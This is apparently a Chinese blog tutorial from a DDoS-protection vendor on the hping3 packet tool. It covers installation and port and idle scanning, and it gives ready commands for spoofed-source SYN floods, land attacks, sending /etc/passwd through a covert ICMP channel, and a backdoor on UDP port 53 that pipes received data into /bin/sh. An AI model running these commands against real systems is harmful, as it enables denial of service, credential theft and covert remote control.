Linux常用网络工具:hping高级主机扫描

华盟原创文章投稿奖励计划

  华盟网从2000年开始一直在做防攻击的业务,历史悠久,最高防护800G攻击,网上有很多卖高防主机的,在租用高防服务器时都吹皮,无视上百G攻击,你要不会被骗了不是吗?1G攻击就给你ip封了,所以多学点知识还是有好处的。

  Hping是检测高防服务器防御性能最为常用的工具,它不但能测试出服务器所承受的网络压力,而且还能对网络中的端口进行扫描.

  

Linux常用网络工具:hping高级主机扫描

  这个是我单机测试的时候收到的流量包,hping发包还是顶给力的,虚拟机冰盾接收的。

  一,Hping软件介绍篇

  Hping由 Salvatore Sanfilippo创建于2004 年,是一个编码和解析TCP/IP协议的命令行开源工具,常用于测试网络及主机的安全,同时也是安全审计、防火端测试等工作的标配工具。 Hping的命令行形式很像常用的 Ping命令,但是所不同的是,它不仅能发送 ICMP 请求,而且支持 TCP、 UDP以及RAW-IP等协议。 Hping的特色在于能够定制数据包的各部分, 因此用户可以更灵活地对目标主机进行细微探测。

  Hping也常常被用作网络攻击工具。 使用 Hping可以很方便地构建 DoS攻击, 如ICMP洪水攻击、 UDP洪水攻击以及 SYN 洪水攻击等。 正因如此, 它曾是黑客组织Anonymous早期发动网络攻击时常用的工具之一。因而在进行高防服务器测试时,最好在服务商的协助下进行操作,否则很容易会对网络系统造成一定的影响。

  Hping可在Linux、 FreeBSD、 NetBSD、 〇penBSD、 Solaris、 MacOSX、 Windows等多种平台上运行, 因而Hping是检测高防服务器性能最为常见的工具,日前最新版本为 Hping3。值得一提的是,新版本支持使用 TcL脚本来描述 TCP/IP协议各字段,这使得构造和分析数据变得更加方便。

  Hping的常用功能包括网络压力测试、防火培测试和端口扫描等。下面面结合实例给出利用 Hping对高防服务器进行网络压力测试的常见方法。在测试时一定要谨慎操作

  二,安装篇

  hping是一款更高级的主机扫描工具,它支持TCP/IP数据包构造、分析,在某些防火墙配置或运营商拦截ICMP数据包时,可用来扫描存活主机。

  hping还可以伪造源IP,用来发起DDos攻击。

  hping官方网站:http://www.hping.org/

  hping的源代码编译安装

  --------------------------------------------------------------------------------

  hping的源代码托管在GitHub,地址:https://github.com/antirez/hping。

  编译及安装命令:

  写成一个批处理,只需要复制粘贴到shell上就会安装成功

  wget https://github.com/antirez/hping/archive/master.zip

  unzip master

  cd hping-master

  yum install libpcap-devel

  ./configure

  make

  make install

  hping依赖libpcap-devel,所以需要先进行安装,make过程中还可能出现以下两个问题:

  出现问题:libpcap_stuff.c:20:21: 错误:net/bpf.h:没有那个文件或目录

  解决办法:ln -sf /usr/include/pcap-bpf.h /usr/include/net/bpf.h;

  出现问题:/usr/bin/ld: cannot find -ltcl

  解决办法:yum -y install tcl yum -y install tcl-devel;

  然后输入:

  make strip

  make install

  hping常用参数介绍

  --------------------------------------------------------------------------------

  如果防火墙或运营商屏蔽ICMP的话,hping可以对指定目标端口发起TCP探测,常用的参数:

  -p 端口号

  -S 发送TCP的SYN包

  -A 发送TCP的ACK包

  -a 伪造源IP

  --flood 尽可能快的发送,慎用

  输入示例:

  hping 192.168.2.224 -p 80 -S

  hping 192.168.2.224 -p 80 -A

  hping 192.168.2.224 -p 80 -S -a 192.168.0.91

  下面就是在发syn洪水数据包

  

Linux常用网络工具:hping高级主机扫描

  综上所述,我将hping安装搞成一个批处理,你直接复制粘贴到shell就可以成功,

  wget https://github.com/antirez/hping/archive/master.zip

  yum install unzip -y

  unzip master

  cd hping-master

  yum install libpcap-devel -y

  yum -y install tcl

  yum -y install tcl-devel

  ./configure

  ln -sf /usr/include/pcap-bpf.h /usr/include/net/bpf.h

  make strip

  make install

  安装成功之后就这样

  

Linux常用网络工具:hping高级主机扫描

  三,使用篇

  这里以 Syn FLOOD攻击为例

  [roote@77169.com]# hping3 -i ul -s -p 80 192.168.65.160

  其中.-i u1参数表示每个数据包发送问隔为1微秒,参数_S表示设置 sYN标识, 参数一p80表示设置数据包的目标端端口为80。

  使用-c参数可以指定收发数据包的个数,这里以发送10个数据包为案例。

  [roote@77169.com]# hping3 -c 10 -i ul -s -p 80 192.168.65.160

  使用-a参数可以进行源IP地址的伪造

  [roote@77169.com]# hping3 a 1.2.3.4 -i ul -s -p 80 192.168.65.160

  除了进行DDoS攻击之外,Hping还具有一些其他的网络测试功能,例如防火墙测试和端口扫描等,因而用户可以利用Hping对高防服务器进行全面性的检测。

  测试防火墙对ICMP包的反应、是否支持Traceroute、是否开放某个端口、对防火墙进行拒绝服务攻击(DoS attack)。

  例如,以LandAttack方式测试目标防火墙(Land Attack是将发送源地址设置为与目标地址相同,诱使目标机与自己不停地建立连接)。

  hping3 -S -c 1000000 -a 10.10.10.10 -p 21 10.10.10.10

  最大攻击命令:

  hping 192.168.2.224 -p 80 -S --flood

  最大攻击伪造ip

  hping 192.168.2.224 -p 80 -S -a 192.168.0.91 --flood

  端口扫描

  Hping3也可以对目标端口进行扫描。Hping3支持指定TCP各个标志位、长度等信息。

  以下示例可用于探测目标机的80端口是否开放:

  hping3 -I eth0 -S 192.168.10.1 -p 80

  其中-Ieth0指定使用eth0端口,-S指定TCP包的标志位SYN,-p 80指定探测的目的端口。

  hping3支持非常丰富的端口探测方式,Nmap拥有的扫描方式hping3几乎都支持(除开connect方式,因为Hping3仅发送与接收包,不会维护连接,所以不支持connect方式探测)。而且Hping3 能够对发送的探测进行更加精细的控制,方便用户微调探测结果。

  当然,Hping3的端口扫描性能及综合处理能力,无法与Nmap相比。一般使用它仅对少量主机的少量端口进行扫描。

  Idle扫描

  Idle扫描(Idle Scanning)是一种匿名扫描远程主机的方式,该方式也是有Hping3的作者Salvatore Sanfilippo发明的,目前Idle扫描在Nmap中也有实现。

  该扫描原理是:寻找一台idle主机(该主机没有任何的网络流量,并且IPID是逐个增长的),攻击端主机先向idle主机发送探测包,从回复包中获取其IPID。冒充idle主机的IP地址向远程主机的端口发送SYN包(此处假设为SYN包),此时如果远程主机的目的端口开放,那么会回复 SYN/ACK,此时idle主机收到SYN/ACK后回复RST包。然后攻击端主机再向idle主机发送探测包,获取其IPID。那么对比两次的 IPID值,我们就可以判断远程主机是否回复了数据包,从而间接地推测其端口状态。

  拒绝服务攻击

  使用Hping3可以很方便构建拒绝服务攻击。

  比如对目标机发起大量SYN连接,伪造源地址为192.168.10.99,并使用1000微秒的间隔发送各个SYN包。

  hping3 -I eth0 -a192.168.10.99 -S 192.168.10.33 -p 80 -i u1000

  其他攻击如smurf、teardrop、land attack等也很容易构建出来。

  文件传输

  Hping3支持通过TCP/UDP/ICMP等包来进行文件传输。相当于借助TCP/UDP/ICMP包建立隐秘隧道通讯。

  实现方式是开启监听端口,对检测到的签名(签名为用户指定的字符串)的内容进行相应的解析。

  在接收端开启服务:

  hping3 192.168.1.159--listen signature --safe --icmp

  监听ICMP包中的签名,根据签名解析出文件内容。

  在发送端使用签名打包的ICMP包发送文件:

  hping3 192.168.1.108--icmp ?d 100 --sign signature --file /etc/passwd

  将/etc/passwd密码文件通过ICMP包传给192.168.10.44主机。发送包大小为100字节(-d 100),发送签名为signature(-sign signature)。

  木马功能

  如果Hping3能够在远程主机上启动,那么可以作为木马程序启动监听端口,并在建立连接后打开shell通信。与Netcat的后门功能类似。

  示例:本地打开53号UDP端口(DNS解析服务)监听来自192.168.10.66主机的包含签名为signature的数据包,并将收到的数据调用/bin/sh执行。

  在木马启动端:

  hping3 192.168.10.66--listen signature --safe --udp -p 53 |/bin/sh

  在远程控制端:

  echo ls >test.cmd

  hping3 192.168.10.44 -p53 -d 100 --udp --sign siganature --file ./test.cmd

  将包含ls命令的文件加上签名signature发送到192.168.10.44主机的53号UDP端口,包数据长度为100字节。

  hping远程控制之后,如果多台主机测试,效果图,金盾防火墙,硬防。小流量测试。3G

  

Linux常用网络工具:hping高级主机扫描

  常用参数解释

  1. hping3 = 应用程序二进制代码的名称。

  2. -c 100000 = 发送的数据包的数量。

  3. -d 120 = 发送到目标机器的每个数据包的大小。

  4. -S = 只发送SYN数据包。

  5. -w 64 = TCP窗口大小。

  6. -p 21 = 目的地端口(21是FTP端口)。你在这里可以使用任何端口。

  7. --flood = 尽可能快地发送数据包,不需要考虑显示入站回复。洪水攻击模式。

  8. --rand-source = 使用随机性的源头IP地址。你还可以使用-a或–spoof来隐藏主机名。详见文章末尾的参考手册页。

  结束语

  华安普特公司现在国内防馺300g ,香港可以防150G,美国可以防800g 流量攻击,昨天的香港一个主机被攻击的流量图,

  

Linux常用网络工具:hping高级主机扫描

  到这里,你们当我在做广告吗? 实际这个送福利,如果10G之下的小攻击,找我们免费给防护!有需要帮助,请发邮件 652471@qq.com

  任何新的现代防火墙都会阻止DoS,如今大多数Linux内核内置了防范SYN洪水攻击的功能。本指南主要用于研究和学习。对于阻止TCP SYN洪水攻击或TCP连接洪水攻击有难度的那些人而言,可以试着学习IPTables以及查明如何使用hping3、nping或其他任何工具阻止 DoS的方法。你还可以使用GoldenEye来发动DoS,这是一种第7层DoS攻击工具,模拟类似的攻击或PHP漏洞来攻击WordPress网站。

  顺便说一下,我在文章末尾附有hping3参考手册页,以便查阅。

  Hping3参考手册页链接:http://www.hping.org/manpage.html

  英文:Denial-of-service Attack – DoS using hping3 with spoofed IP in Kali Linux

原文地址:https://hack.77169.com/201512/220453.shtm

本文原创,作者:华盟君,其版权均为华盟网所有。如需转载,请注明出处:https://www.77169.net/html/19407.html